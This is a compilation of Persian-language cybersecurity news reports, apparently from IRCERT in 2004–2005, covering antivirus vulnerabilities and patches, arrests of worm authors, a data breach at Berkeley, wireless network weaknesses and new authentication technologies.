محققانی که در فرانسه جهت یافتن مشکلات امنیتی نرم افزارها، آنها را مهندسی معکوس می کردند، دیگر حق ندارند یافته های خود را منتشر کنند.

در سال 2001 یک محقق امنیتی فرانسوی چند مشکل امنیتی را نرم افزار ضدویروس Viguard متعلق به شرکت Tegam یافت و در مارس 2002 این مشکلات را منتشر کرد. اما نتیجه این کار از نظر شرکت Tegam مطلوب نبود و لذا اقدام به شکایت علیه این محقق کرد. دادگاهی تشکیل شد و در دادخواست آن ادعا شد که این کارشناس امنیتی بند 335.2 مالکیت فکری را نقض کرده و لذا باید به 4 ماه زندان و پرداخت 6 هزار یورو جریمه محکوم شود.

روز گذشته دادگاه حکم خود را صادر کرد. مطابق با این حکم وی نباید به زندان برود اما جریمه ای تعلیقی معادل 5 هزار یورو را باید بپردازد. یعنی درصورتی که این محق اقدام به انتشار اطلاعات بیشتری درباره مشکلات امنیتی نرم افزار کند باید این مبلغ را پرداخت نماید.

کارشناسان معتقدند این حکم باعث می شود که کاربران برای خرید یک محصول تنها با آگهی های تبلیغاتی مواجه باشند و نتوانند بررسی های فنی انجام شده توسط کارشناسان و محققان را مشاهده کنند.

Tegam هنوز دست از سر این کارشناس امنیتی برنداشته و قصد دارد برای خسارات وارده ادعای 900 هزار یورو کند.


﻿ IRCERT - اخبار و هشدارها - F-Secure حفره امنیتی در ضدویروس

حفره امنیتی در ضدویروس F-Secure

11 فوریه 2005 - 23 بهمن 1383

شرکت امنیتی F-Secure اصلاحیه ای را برای رفع یک حفره امنیتی در محصولات ضدویروس خود ارائه کرده است.

F-Secure در یک بولتن امنیتی دیروز هشدار داد که این حفره که در کتابخانه ضدویروس این شرکت قرار دارد، ‌18 محصول شرکت در رده های desktop، سرور و gateway را تحت تاثیر قرار می دهد و خطر جدی برای محصولات شبکه ای دارد. یک هکر می تواند با ایجاد یک فایل فشرده خاص با فرمت ARJ، ایجاد خطای سرریز بافر کند و ازاین طریق کد دلخواهی را روی سیستم قربانی اجرا کند.

به گفته متخصصان F-Secure این مشکل در حال حاضر در حد تئوری است و نمونه ای از فایل ARJ آلوده مشاهده نشده است اما اصلاحیه بر مبنای همین تئوری آماده و ارائه شده است.

ISS که این حفره را کشف کرده است،‌ طی یک راهنمایی امنیتی هشدار داده است که بسیاری از شرکتهای بزرگ و تامین کنندگان امنیت بر روی اینترنت از این کتابخانه استفاده می کنند.

F-Secure از مشتریان خود خواسته است که به سرعت اصلاحیه را دریافت و نصب کنند.


﻿ IRCERT - گیتس: عمر پسورد تمام شد - اخبارها و هشدارها

گیتس: عمر پسورد تمام شد

16 نوامبر 2004 – 26 آبان 1383

بیل گیتس امروز طی سخنانی گفت:“ پسورد به زودی به تاریخ خواهد پیوست و بیومتریک و کارت هوشمند جایگزین آن خواهد شد.

وی که در دانمارک سخن می گفت پیش بینی کرد که به زودی از وسایل دیگری برای تایید هویت استفاده خواهد شد. او افزود:“ یکی از مشکلات عمده سیستم هویت شناسی ضعف کلمات عبور است. متاسفانه با توجه به اهمیت اطلاعات این سیستم ها نمی توان به کلمه عبور تکیه و بسنده کرد. موج استفاده از کارت هوشمند و بیومتریک در حال پیشرفت است و مشتریان پیشرو ما از آنها استفاده می کنند.“

گیتس همچنین اشاره کرد که مایکروسافت قصد دارد برای کارمندانش کارت هوشمند صادر کند تا برای دسترسی به ساختمانهای شرکت و همچنین کامپیوترهایشان از آن استفاده کنند.این سیستم مبتنی بر فناوری .NET خواهد بود. وی گقت:“ ما به تدریج جایگزینهای کلمات عبور را مورد استفاده قرار خواهیم داد.“

هفته گذشته هوارد اشمیت – افسر ارشد امنیتی eBay و مشاور پیشین کاخ سفید در زمینه امنیت سایبر – استفاده از تایید هویت با استفاده از دو عامل و شناسه را توصیه کرد. وی گفت:“ ما در حال حاضر در زمینه امنیت بهتر عمل می کنیم اما همچنان برای آنلاین شدن به نام کاربری و کلمه عبور وابسته ایم. ما حالا فناوری لازم برای کاربر را داریم که بتواند تایید هویت با دو عامل را داشته باشد. ما انتظار داریم که رشد امنیت را ببینیم.“ وی برای مثال به کارتهای بانکی اشاره کرد:“ کارتها چیزی هشتند که شما دارید و شماره شناسایی یا PIN چیزی است که شما می دانید.“


﻿ IRCERT - اخبار و هشدارها- Sasser دستگیری نویسنده

نویسنده Sasser دستگیر شد

8 مه – 19 اردیبهشت

پلیس آلمان یک جوان 18 ساله را به اتهام نوشتن کرم اینترنتی مخرب Sasser دستگیر کرد. بنابه گفته پلیس این مرد در روز جمعه که در روز جمعه دستگیر شده است, به نوشتن برنامه این کرم اعتراف کرده است اما هنوز مشخص نیست که آیا تمامی نسخ Sasser توسط این جوان ایجاد شده اند یا خیر. پلیس جزئیات دستگیری وی را فاش نکرده است.

بنابه گزارش ارائه شده از سوی پلیس, این جوان که با خانواده خود و در شهر روتنبرگ آلمان زندگی می کرده , هیچ گونه ارتباطی با جرایم رایانه ای سازمان یافته نداشته است. البته پلیس درباره ارتباط متهم با سایر ویروس نویسان سکوت کرده است. در حال حاضر تمام کامپیوترهای متهم توقیف شده اند اما خود وی در حبس به سر نمی برد.

میکو هایپونن – مدیر تحقیقات ضدویروس در شرکت فنلاندی F-Secure – معتقد است با دستگیری این جوان , فعالیت سایر ویروس نویسان محدود شود. وی می گوید:" اگر ما شروع به دستگیری این افراد کنیم , قطعا فشار بیشتری روی سایر نویسندگان ویروس وارد خواهد شد."

همچنین پلیس در ایالت جنوبی بادن ورتمبرگ گفته است ک هجوانی 21 ساله را دستگیر کرده که به نوشتن Agobot اعتراف کرده است. بنا به گفته پلیس این دستگیری ها با هم ارتباطی نداشته اند.

پیش از این بعضی از یکی بودن نویسنده های Sasser و Netsky سخن می گفتند. روزنامه آلمانی اشپیگل گفته است که جوان دستگیر شده مظنون به نوشتن یکی از نسخ Netsky نیز هست, اما پلیس این گفته را تایید نکرده است. اگر این جوان یکی از نویسندگان گروه Netsky باشد , این دستگیری می تواند یکی از مهمترین اتفاقات در تاریخ جرایم ویروس نویسی باشد. گراهام کلولی – مشاور ارشد فناوری شرکت انگلیسی Sophos – در این باره می گوید :" ممکن است پلیس بتواند با این دستگیری حلقه گروه Netsky را بشکند و به سایر اعضای گروه نیز دست یابد."

از خسارتهای وارده توسط این کرم هنوز آمار دقیق در دست نیست, اما از بزرگترین قربانیان آن می توان شرکت پست آلمان , گارد ساحلی بریتانیا و بانک سرمایه گذاری Goldman Sachs را نام برد.


﻿ IRCERT - گوگل مورد علاقه هکرهاست - اخبارها و هشدارها

گوگل مورد علاقه هکرهاست

29 جولای 2004 – 8 مرداد 1383

بنا به گفته یکی از متخصصین امنیت ،‌یکی از متداولترین ابزارهای هکرها ، موتور جستجوی مشهور گوگل است. جانی لانگ - یکی از محققان امنیتی و متخصصان علوم کامپیوتر - در کنفرانسی با اشاره به این نکته گفت :“ توانایی گوگل برای نگهداری محتوای سایتهای اینترنتی می تواند برای مشخص کردن سایتهای با امنیت ضعیف به کار رود.“ با وجودی که این تکنیک ، روش جدیدی نیست اما جستجوهای دقیق و پیچیده لانگ به گونه ای سایتهای گوناگون با مشکلات امنیتی را مشخص می کرد که محققان خسته حاضر در کنفرانس را به خنده انداخته بود.

برای مثال با جستجوی عناوین پیش فرض صفحات سرور، می توان به راحتی سرورهای قابل نفوذ را یافت. همچنین با جستجوی صفحات خطایی که توسط نرم افزارها تولید می شوند می توان پی برد که کدام برنامه ها تنظیمات پیش فرض خود را دارند و تغییری در آنها داده نشده است. و یا با جستجوی نامهای خاص فایلها می توان سرورهای قابل نفوذی را که به اینترنت متصل هستند نشان داد.

لانگ با یک جستجوی ساده برای یافتن صفحه log-in نرم افزار وب سرور مایکروسافت یعنی IIS ، نشان داد که 11300 سایت روی اینترنت وجود دارد که این صفحه مهم و حیاتی را در اختیار عموم قرار داده است. وی معتقد است که جمع اوری اطلاعات log-in از پایگاههای داده ای که تنظیمات ضعیفی دارند بسیار ساده است.

بررسی ها نشان می دهد که این ابزار بدون داشتن هیچ گونه قصد تخریب به هکرها کمک می کند. نسخه اخیر کرم MyDoom از گوگل و سایر موتورهای جستجو برای یافتن نشانی های ایمیل کاربران استفاده می کرد. حتی بعضی متخصصین معتقدند که موتورهای جستجو می توانند به عنوان بستری برای انتقال کدهای خطرناک مورد استفاده قرار گیرند.

تیم مولین ، یکی دیگر از متخصصان امنیتی نیز در این باره می گوید:“ من تنها از گوگل برای یافتن سرورهای قابل نفوذ استفاده می کنم.“ وی معتقد است که امکاناتی که گوگل برای جستجو ارائه می کند توسط سایر موتورهای جستجو ارائه نمی شود و از طرف دیگر گوگل با ارائه نسخه کش شده یا سایت نشان می دهد که سایت در گذشته چگونه بوده است.

گوگل هنوز در این باره اظهار نظری نکرده است.


﻿ IRCERT - شبکه های بی سیم امن نیستند - اخبارها و هشدارها

شبکه های بی سیم امن نیستند

17 مه 2005 - 27 اردیبهشت 1384

بنابر گزارش منتشر شده توسط کنگره آمریکا، به دلیل وجود استانداردهای ضعیف امنیتی در ادارات دولتی، یک هکر روی نیمکت یک پارک به راحتی می تواند به ده ها شبکه کامپیوتری دولتی آمریکا نفوذ کند.

در این گزارش که توسط دفتر جوابگویی دولتی منتشر شده ، مشخص شده است که تنها تعداد بسیار کمی از آژانسهای دولتی می توانند مطمئن باشند که شبکه های بی سیم آنها دربرابر دسترسی غیرمجاز مصون است.

بنابر راهنمایی های ارائه شده توسط موسسه ملی استانداردها و فناوری، ادارات دولتی نباید پیش از یافتن راهی برای تامین امنیت،‌شبکه های بی سیم پرسرعت و با عرض باند بالا را راه اندازی کنند.

این دفتر اعلام کرده است که از 24 اداره مهم و اصلی، 9 اداره طرحهای امنیت بی سیم خود را آماده نکرده اند و بسیاری از ادارات دیگر نیز کار کمی انجام داده اند.

این گزارش می افزاید که سیزده اداره نیازی ندارند که شبکه بی سیم آنها امن شود و اکثر آنها بر روی فعالیتهای این شبکه نظارت نمی کنند.

متخصصین این دفتر 6 اداره را مورد بررسی دقیق قرار دادند و سیگنالهای شبکه بی سیم را خارج از هر 6 اداره دریافت کردند و در هر 6 مورد نمونه هایی از فعالیتهای غیرمجاز را نیز مشاهده کردند.

در این گزارش اشاره ای به نام ادارات نشده است.


﻿ IRCERT - مجازات استخدام یک هکر - اخبارها و هشدارها

مجازات استخدام یک هکر

15 نوامبر 2004 - 25 آبان 1383

یک شرکت آلمانی تولیدکننده ضدویروس شراکت خود را با شرکت SecurePoint به دلیل تصمیم به استخدام سون جاشان - نویسنده ویروس ساسر- برهم زد.

شرکت H+BEDV Datentechnik امروز پایان همکاری خود با SecurePoint را تایید کرد. مدیر اجرایی این شرکت در این باره می گوید:“ آنچه SecurePoint انجام می دهد بسته به تصمیمات خود آنهاست، اما من علاقه ندارم ببینم که هیچ یک از مراحل تولید محصولاتمان به یک نویسنده ویروس وابسته است. ما نگاه مثبتی به استخدام نویسندگان ویروس نداریم. تلاش برای دادن فرصت جدیدی به یک نویسنده ویروس در تقابل با علایق امنیتی مشتریان ماست.“

وی اشاره می کند که شرکت وی امیدوار بوده است که بتواند نرم افزار ضدویروس خود را در فایروال SecurePoint قرار دهد اما نظر خود را تغییر داده است:“اگر یک ویروس نویس پیشین در حال کار روی برنامه ی باشد که بخشی از آن متعلق به ماست، مشتری چه فکری خواهد کرد؟ اگر این نرم افزار نتواند با یک ویروس مقابله کند و یک ویروس نویس در حال کار در آن شرکت باشد، بوهای ناجوری به مشام خواهد رسید!“

جاشان که گفته می شود مسئولیت بیش از 70 درصد از آلودگی ویروسی در نیمه اول امسال را به عهده دارد، در ماه سپتامبر به استخدام شرکت SecurePoint درآمد . پیشنهاد SecurePoint کمی پس از آزادی جاشان به قید ضمانت ارائه شد.

مدیر H+BEDV می گوید که دو دقیقه پس از شنیدن این خبر تصمیم به قطع کردن شراکت خود با SecurePoint گرفته است. وی می گوید:“ من نمی توانم از این تصمیم حمایت کنم. این کار سایه ای از شک بر روی صنعت امنیت فناوری اطلاعات می اندازد.“

SecurePoint در این باره اظهار نظری نکرده است.


﻿ IRCERT - کامپیوترهای دانشگاه برکلی هک شد - اخبارها و هشدارها

کامپیوترهای دانشگاه برکلی هک شد

19 اکتبر 2004 - 28 مهر 1383

امروز یک هکر توانست با نفوذ به سیستم کامپیوتری دانشگاه برکلی کالیفرنیا به اسامی و شماره های امنیت اجتماعی حدود 1.4 میلیون نفر کالیفرنیایی دست یابد. این نفوذ موفقیت آمیز بزرگترین و بدترین حمله به شبکه کامپیوترهای این دانشگاه بوده است.

بنابه گفته یکی از مسئولین دفتر خدمات سلامت نیروی انسانی در کالیفرنیا تحقیقان هنوز در حال انجام است اما هنوز هکر مزبور شناسایی نشده است.

لیست اسامی فوق الذکر در اختیار یکی از محققین این دانشگاه قرار داشت و وی با جمع آوری اطلاعاتی درباره مراقبت از افراد مسن در منزل، در حال مطالعه و بررسی آثار این کار بوده است.

این مجموعه اطلاعات شامل آدرس منازل، شماره تلفن و تاریخ تولد افراد بوده با اجازه دولت اما بدون اطلاع صاحبان اطلاعات در اختیار این محقق قرار گرفته است. بنابه گفته مسئولان امر، دولت اجازه دارد تا اطلاعات شخصی افراد را برای انجام تحقیقات و تحت نظر دپارتمان خدمات اجتماعی در اختیار محققان قرار دهد.


﻿ IRCERT - هکرها برای یک حمله سراسری آماده می شوند - اخبارها و هشدارها

هکرها برای یک حمله سراسری آماده می شوند

30 جولای 2004 – 9 مرداد 1383

گروهی از هکرها از سراسر آمریکا قصد دارند تا در فوریه آینده طی 72 ساعت بزرگترین حمله جمعی را به سایتها تعیین شده روی اینترنت انجام دهند.

البته سیستم هایی که مورد حمله قرار می گیرند ، وب سرور و یا شبکه شرکتها نیست بلکه کامپیوترهایی است که توسط گروهی دیگر از هکرها تنظیم و نگهداری می شوند و این بازی فتح پرچم یا capture-the-flag نام دارد. پس از فرونشستن گرد و خاک دیجیتالی ، یکی از تیمهای سواحل شرق یا غرب برنده خواهد بود.

پیش از این طی سه سال گذشته مسابقات فتح پرچم با نام Root Fu در شبکه های بسته و با شرکت 8 تیم هکر انجام می شد، اما مسابقه سال آینده اولین و بزرگترین مسابقه در این مقیاس و بر روی شبکه جهانی اینترنت است. گروه برگزار کننده مسابقات به تیم های هک از سراسر آمریکا اجازه می دهد تا در وب سایت آنها ثبت نام کنند. انها امیدوارند که حداقل هزار بازیکن در این مسابقات شرکت کنند.

گردهم آوردن این تیم های با توجه به تبلیغات انجام شده روی این مسابقات کار سختی نخواهد بود اما انجام مراقبت های لازم برای جلوگیری از گسترش بازی به سایر سایتهای اینترنتی ( غیر از هدفهای تعیین شده ) کار چندان ساده ای نخواهد بود. تیم برگزار کننده قصد دار تا شبکه اجرای مسابقات را با کمک شبکه مجازی خصوصی یا VPN بر روی شبکه اینترنت بنا کند. آنها سعی دارند تا بدین شکل شبکه خود را از شبکه عمومی مجزا کنند.

جالب است بدانید که متخصصان امنیتی از برگزاری این مسابقه نگران نیستند. آنها می گویند حتی اگر بعضی حملات به خارج از مجموعه مسابقه انجام شود ، حملات هیچ گاه در مقیاس بزرگ همانند حمله ویروسها و کرمهای اینترنتی نخواهد بود. آنها معتقدند که این مسابقات به انها کمک خواهد کرد تا با شیوه های جدید حملات هکرها و شیوه مقابله با آنها آشنا شوند.

اما دانشگاهیان با وجودی که مسابقات را جذاب می دانند اما نسبت به قابل کنترل بودن آن شک دارند لذا آن را چندان برای خود مفید نمی دانند. آنها ترجیح می دهند با کمک شبکه های کوچک تر مثلا با 1000 گره ، اینترنت را شبیه سازی کرده و بر روی آن به انجام آزمایشات بپردازند.

البته اگر حمله ای به خارج از VPN مذکور هدایت شود ، امکان پیگیری قانونی آن وجود دارد.


﻿ IRCERT - اخبار و هشدارها - Outlook Express نفوذ به حفره امنیتی

نفوذ به حفره امنیتی Outlook Express

24 ژوئن 2005 – 3 تیر 1384

درجه خطر حمله از طریق یک حفره امنیتی در Outlook Express با ارائه کد نفوذ آن در سایتهای هک افزایش یافته است.

این کد نفوذ که توسط تیم پاسخگویی وقایع امنیتی فرانسه کشف شده ، به گونه ای طراحی شده است که زمانی که کاربران در حال بازدید از گروههای خبری تحت کنترل هکرها هستند، درصورتی که نسخ خاصی از نرم افزار Outlook Express روی سیستم آنها نصب شده باشد، کنترل کامپیوترشان کاملا در اختیار هکرها قرار می گیرد. نکته جالب اینکه نصب بودن Outlook Express برای نفوذ کافی است و هکر برای حمله نیازی به در حال اجرا بودن آن ندارد.

البته متخصصان امنیتی معتقدند که ریسک یک حمله گسترده پایین است چون برای انجام شدن حمله کاربران باید به گروههای خبری هکرها سر بزنند. علاوه بر آن کد نفوذ ارائه شده نیز نقاط ضعفی دارد.

متخصصان از کاربران خواسته اند که اصلاحیه ارائه شده توسط مایکروسافت در هفته گذشته را دریافت و نصب کنند. مایکروسافت در بولتن امنیتی خود آورده است:“ یک هکر می تواند با استفاده از این حفره برنامه نصب کند، داده هارا ببیند، تغییر دهد و یا حذف کند و اکانتهایی با اختیارات کامل روی سیستم ایجاد کند.“ درجه خطر این حفره important تعیین شده است که دومین درجه پس از critical است.

یکی از سخنگویان مایکروسافت اعلام کرده است که این شرکت از وجود کد نفوذ مطلع است اما هنوز گزارشی از حمله با استفاده از این کد دریافت نکرده است. مایکروسافت در حال بررسی وضعیت است و از کاربران می خواهد تا اصلاحیه را دریافت و نصب کنند.


﻿ IRCERT - هکرها به دنبال سرورهای قابل نفوذ - اخبارها و هشدارها

هکرها به دنبال سرورهای قابل نفوذ

5 ژانویه 2005 - 16 دی 1383

مدیران شبکه هایی که هنوز بر روی سیستمشان اصلاحیه مربوط به حفره (Windows Internet Naming Service) WINS را نصب نکرده اند، در معرض خطر جدی قرار دارند.

SANS امروز هشدار داد که طی چند روز گذشته میزان پویش بر روی پورتهایی که سرویس WINS‌ را ارائه می کنند، افزایش یافته است. SANS عقیده دارد که این افزایش نشان از کار هکرها بر روی این حفره دارد. این مرکز به مدیران شبکه های توصیه کرده است که اگر تا به حال به نصب اصلاحیه ها اقدام نکرده اند بهتر است هرچه سریعتر این کار را انجام دهند.

WINS بخشی از محصولات رده سرور مایکروسافت است که در NT 4.0 ، 2000 سرور و 2003 سرور به کار گرفته شده است و جهت شناسایی نشانی های IP کامپیوترهای خاص روی شبکه به کار می رود.

حفره مزبور در ماه نوامبر شناسایی شده و مایکروسافت امکان انجام حملات راه دور از طریق این حفره را تایید کرده است.


﻿ IRCERT - کنترل دسترسی کودکان با اسکن دست - اخبارها و هشدارها

کنترل دسترسی کودکان با اسکن دست

10 فوریه 2005 - 22 بهمن 1383

کامپیوترهای آینده خواهند توانست با استفاده از یک دستگاه مافوق صوت که سن کودکان را از روی استخوان دستشان تشخیص می دهد، دسترسی آنان را به سایتهای اینترنتی محدود کنند.

این فناوری “ تشخیص گروه سنی “ یا Age-Group Recognition ) AGR ) نامیده می شود. شرکت i-Mature قصد دارد با همکاری RSA این فناوری را برای بازار کامپیوترهای خانگی عرضه کند.

کاربران برای دسترسی به سایتهایی که تایید هویت نیاز دارد، مشت خود را روی دستگاه قرار می دهند. این دستگاه مافوق صوت تراکم استخوان را در بلندترین استخوان انگشت وسط اندازه گیری می کند و بدین طریق سن فرد را اندازه گیری می کند.

هنوز گزارشی از میزان دقت این دستگاه منتشر نشده است. این دستگاه می تواند در ترکیب با سایر فناوری های بیومتریک برای تشخیص هویت به کار گرفته شود. این دستگاه می تواند به صورت منفرد ارائه شود و یا در صفحه کلید تعبیه شود.


﻿ IRCERT - اخبار و هشدارها - Netscape یک حفره امنیتی بسیار مهم در

یک حفره امنیتی بسیار مهم در Netscape

26 آوریل 2005 - 6 اردیبهشت 1384

شرکت امنیتی Secunia هشدار داد که یک حفره امنیتی اصلاح نشده در برخی نسخ مرورگر Netscape به هکرها اجازه می دهد تا به سیستمها نفوذ کنند.

بنابر راهنمایی امنیتی منتشر شده از سوی Secunia،‌ این مشکل امنیتی دارای درجه خطر highly critical‌است و نسخ 7.2 و 6.2.3 را قطعا تحت تاثیر قرار می دهد.

این حفره به هکر اجازه می دهد تا حمله سرریز بافر را انجام دهد و باعث از کار افتادن مرورگر شود و این توانایی را بیابد تا کدی را روی سیستم قربانی اجرا کند. هنوز اصلاحیه ای برای این مشکل ارائه نشده است.

سخنگوی Netscape طی صحبتی پیشنهاد کرد که کاربران نرم افزار خود را به نسخه 8.0 ارتقا بخشند. این نسخه مبتنی بر کد Firefox است و تحت تاثیر این اشکال قرار ندارد.

Secunia توصیه کرده است که کاربران از محصول دیگری استفاده کنند.


﻿ IRCERT - هیتاچی و نوت بوکهای بدون دیسک - اخبارها و هشدارها

هیتاچی و نوت بوکهای بدون دیسک

4 ژانویه 2005 - 15 دی 1383

هیتاچی - بزرگترین تولیدکننده تجهیزات الکترونیکی در ژاپن - امروز اعلام کرد که از این پس به جای نوت بوک از ترمینالهای شبکه بدون حافظه استفاده خواهد کرد تا از نشت اطلاعات به خارج از شرکت جلوگیری کند.

ترمینالهای شبکه - که به آنها ترمینالهای زبان بسته (dumb ) نیز می گویند - مانند کامپیوترهای معمولی صفحه نمایش و صفحه کلید دارند. اما دیسک سخت یا درایو فلاپی روی آنها نصب نشده و تمامی فعالیتهای ترمینال در تعامل با سرور انجام می شود و نرم افزارها و اطلاعات روی سرور ذخیره می شوند.

هیتاچی که خود یک سازنده کامپیوتر است، قصد دارد تا ماه مارس 2 هزار ترمینال را عرضه کند و در سال تجاری بعدی که در ماه آوریل آغاز می شود نیز 8 هزار ترمینال دیگر را ارائه کند و بدینوسیله شرکتهای دیگر را نیز به استفاده از ترمینالها ترغیب کند.

نماینده این شرکت اعلام کرده است که درباره جایگزینی کامپیوترهای desktop هنوز تصمیمی گرفته نشده است، اما هیتاچی قصد دارد تا طی 4 سال حدود 300 هزار کامپیوتر موجود در این شرکت و شرکتهای همگروهش را با ترمینال جایگزین کند.

این نماینده همچنین خاطر نشان کرده است که هیتاچی علاوه بر تولید سالانه 600 هزار کامپیوتر شخصی، به تولید و فروش ترمینال نیز خواهد پرداخت.


﻿ IRCERT - ضدویروس خود را تغییر می دهد - اخبارها و هشدارها Hotmail

Hotmail ضدویروس خود را تغییر می دهد

19 دسامبر 2004 - 29 آذر 1383

سایت Hotmail که به حدود 200 میلیون کاربر در سراسر دنیا خدمات ارائه می کند، از این پس به جای ضدویروس McAfee از Trend Micro استفاده خواهد کرد.

به گفته مایکروسافت از فردا تمامی ایمیلهای دریافتی و ارسالی 187 میلیون کاربر وب میل این شرکت به صورت بلادرنگ توسط ضدویروس Trend Micro اسکن خواهد شد.

پیش از این Hotmail از خدمات ضدویروس McAfee‌استفاده می کرد و دلیل این تغییر مشخص نشده است. مارتین هافمن - مدیر اجرایی شرکت Ninemsn که خدمات Hotmail را در استرالیا ارائه می کند و نیمی از آن متعلق به مایکروسافت است - معتقد است که با این تغییر مایکروسافت قادر خواهد بود تا خدمات آنلاین امن تری را ارائه کند چون محصولات Trend Micro حفاظت بهتر و مطمئن تری را عرضه می کنند.

استیو چانگ - مدیر و مؤسس Trend Micro که شرکت خود را با محصول مشهورش یعنی PC-cillin Internet Security به کاربران معرفی کرده است - در بیانیه ای با ابراز خوشحالی از این توافق، دیدگاه شرکت خود را ایجاد محیطی امن برای کاربران جهت تبادل اطلاعات دیجیتالی دانسته است.

McAfee تا به حال اظهار نظری در این باره نکرده است.


﻿ IRCERT - اخبار و هشدارها - HP کنترل ویروسها با نرم افزار

کنترل ویروسها با نرم افزار HP

30 نوامبر 2004 - 10 آذر 1383

شرکت هیولت پاکارد قصد دارد اسلحه جدیدی را برای مبارزه با ویروسها در اختیار مشتریان قرار دهد: نرم افزاری که سرعت ویروسها را می گیرد.

یکی از مدیران HP امروز اعلام کرد که اوایل سال میلادی آینده این شرکت شروع به فروختن نرم افزاری خواهد کرد که سرعت گسترش ویروس را از سرورهای ProLiant و تجهیزات شبکه ProCurve کند خواهد کرد. نسخه ای از این نرم افزار نیز برای کامپیوترهای شخصی آماده شده که درآینده منتشر خواهد شد.

این نرم افزار به مدیران شبکه ها امکان خواهد داد تا برای پاسخ گفتن به حملات زمان بیشتری در اختیار داشته باشند. در حال حاضر مرتبا زمان بین کشف یک حفره و نوشته شدن ویروس استفاده کننده از این حفره کاهش می یابد و کار را مشکل تر می کند. تونی ریچموند - یکی از مدیران بخش خدمات HP - می گوید:“ 10 سال پیش ما نگران حملات از طریق فلاپی دیسکها بودیم. کاربران فلاپی های آلوده را از یک سیستم به سیستم دیگر منتقل می کردند. 5 سال پیش ما با ورود ویروسهای Melissa و I Love You شاهد رشد و شتاب این تهدیدات بودیم. اما امروزه ویروسها و کرمها با سرعتی منتشر می شوند که برای انسان قابل رقابت نیست.“

این برنامه با تفکیک رفتارهای پردازه های عادی سرور از ویروسها ، حمله را تشخیص می دهد. یک ویروس یا یک کرم در عملیات خود سعی می کند تا یک نوع خاص از ارتباط را چندین بار و روی چندین سیستم برقرار کند. برای مثال یک پردازه که یک سوکت خاص را روی 100 سیستم در یک دقیقه مورد پویش قرار می دهد نمی تواند یک پردازه قانونی باشد. هرچه یک ویروس سریعتر عمل کند، امکان تشخیص آن بیشتر است. هنگامی که برنامه پردازه ای با خصوصیات یک ویروس را شناسایی کند، سرعت آن را به شدت کاهش می دهد.

درحال حاضر نرم افزار مزبور مراحل تست سازگاری با ویندوز را می گذراند.


﻿ IRCERT - خطاهای انسانی در صدر عوامل رویدادهای امنیتی - اخبارها و هشدارها

خطاهای انسانی در صدر عوامل رویدادهای امنیتی

7 آوریل – 19 فروردین

در حالی که در بحث امنیت و پیامدهای آن همه نگاه‌ها متوجه ویروس‌ها، کرم‌ها و نقاط آسیب‌پذیر نرم‌افزارهاست، خطای نیروهای انسانی به عنوان عامل دیگری که نقش بسیار مهمی در این میان دارد فراموش شده است.

نتایج دومین تحقیق سالانه «تحلیل امنیت فناوری اطلاعات و نیروی کار» که توسط انجمن CompTIA انجام شده است نقش خطای انسانی را در رویدادهای امنیتی سازمانها را به روشنی نشان می‌دهد. این تحقیق بر روی اقداماتی که حدود ۹۰۰ سازمان از ۱۷ کشور دنیا طی ۶ ماه گذشته انجام داده اند، صورت گرفته است.

مهمترین نتیجه‌ای که از این تحقیق عاید شده رکورددار بودن عامل خطاهای انسانی در صدر عوامل رویدادهای امنیتی است. حدود ۵۰ درصد از این رویدادها ناشی از خطای عوامل انسانی است و عامل دوم در این لیست که حدود ۳۷ درصد می‌باشد به ترکیب سوء عملکرد فنی و خطای عوامل انسانی بر مربوط است.

در ۸۴٪ سازمان‌های مورد مطالعه خطای عوامل انسانی شامل دانش امنیتی اندک، آموزش ناکافی و عدم پیروی از رویه‌های امنیتی تدوین شده در آنهاست. این نرخ در سال ۲۰۰۲ حدود ۶۳٪ بوده است. با وجودی که متخصصین امنیت سالهاست که تدوین سیاست‌های امنیتی به صورت مکتوب به عنوان اولین گام برای هماهنگی نیروهای انسانی، سیاست‌ها و رویه‌ها را توصیه می‌کنند ولی در حال حاضر تنها در نیمی از سازمان‌ها‌ سیاست‌های امنیتی مکتوب و اجرایی وجود دارد.


﻿ IRCERT - مقالات -Human Firewall صاحب جدید

صاحب جدید Human Firewall

25 ژوئن 2004 – 5 تیر 1383

انجمن امنیت سیستمهای اطلاعاتی امروز اعلام کرد که پروژه و سایت Human Firewall را در اختیار می گیرد. دیو کولینین – مدیرعامل ISSA – گفته است که این انجمن غیرانتفاعی مالکیت این سایت و پروژه را پذیرفته است چون به ارزش آن واقف است و نمی خواهد با کنار رفتن دو پشتیبان اصلی پروژه، کار با مشکل روبرو شود. این سایت به طور موقت بسته شده است.

سایت Human Firewall با هدف آموزش جنبه های عمومی امنیت اطلاعات به عموم کاربران راه اندازی شده است. در واقع این سایت سعی دارد تا میزان آگاهی را افزایش دهد و به کاربران در سراسر دنیا کمک کند تا رفتار خود را در بحث امنیت بهبود بخشند.

بنا به گفته کولینین ، این سایت به عنوان منبعی برای کاربران جهت کنترل میزان امنیت سیستمشان به کار ادامه خواهد داد. مقالات و منابعی برای مشتریان ارسال خواهد شد تا بتوانند درجه امنیت سیستم خود را ارزیابی کنند. ISSA قصد دارد تا طی سه ماهه سوم و چهارم امسال تغییرات لازم را در سایت ایجاد کند.

کارشناسان می گویند که عامل انسانی مهمترین متغیر در سیستم های امنیت اطلاعات است. به عبارت دیگر اگر کاربران مسئولیت حفظ اطلاعات در اختیارشان را نپذیرند، حتی بهترین سیاستها و تکنولوژی های امنیتی هم جوابگو نخواهند بود.


﻿ IRCERT - حفاظت از کلمات عبور با یک چیپ - اخبارها و هشدارها

حفاظت از کلمات عبور با یک چیپ

16 سپتامبر 2004 - 26 شهریور 1383

IBM قصد دارد در کامپیوترهای شخصی خود چیپ جدیدی را قرار دهد که از کلمات عبور و سایر اطلاعات شخصی مهم در مقابل هکرها حفاظت کند.

Big Blue اولین سازنده کامپیوتری خواهد بود که از National Semiconductor's SafeKeeper Trusted I/O Device استفاده می کند. این وسیله ،‌شناسه کامپیوتر را در سیلیکون ذخیره می کند و امکان دسترسی از بیرون را به آن سخت تر می کند. این فناوری به شکل یک چیپ ورودی-خروجی به روز شده ، به سیستم اضافه می شود

کلین آندرسون - مدیر برنامه بخشی کامپیوتر شخصی IBM - در این باره می گوید:“ امنیت، رمزنگاری و مدیریت کلمات عبور اجزاء کلیدی فناوریهای ThinkVantage متعلق به IBM هستند. این فناوریها به کاربر کمک می کند و هزینه مدیریت را در تمامی سازمانها کاهش می دهد.“

کارشناسان معتقدند ذخیره سازی اطلاعات در سخت افزار امن تر از روشهای ذخیره سازی نرم افزاری است. این چیپ اطلاعات را با کلیدی که تنها در اختیار یک پروسسور خاص است ، رمز می کند تا اطلاعات را از دسترس هکرهای خارجی و اشتباهات کاربر داخلی محفوظ بدارد.

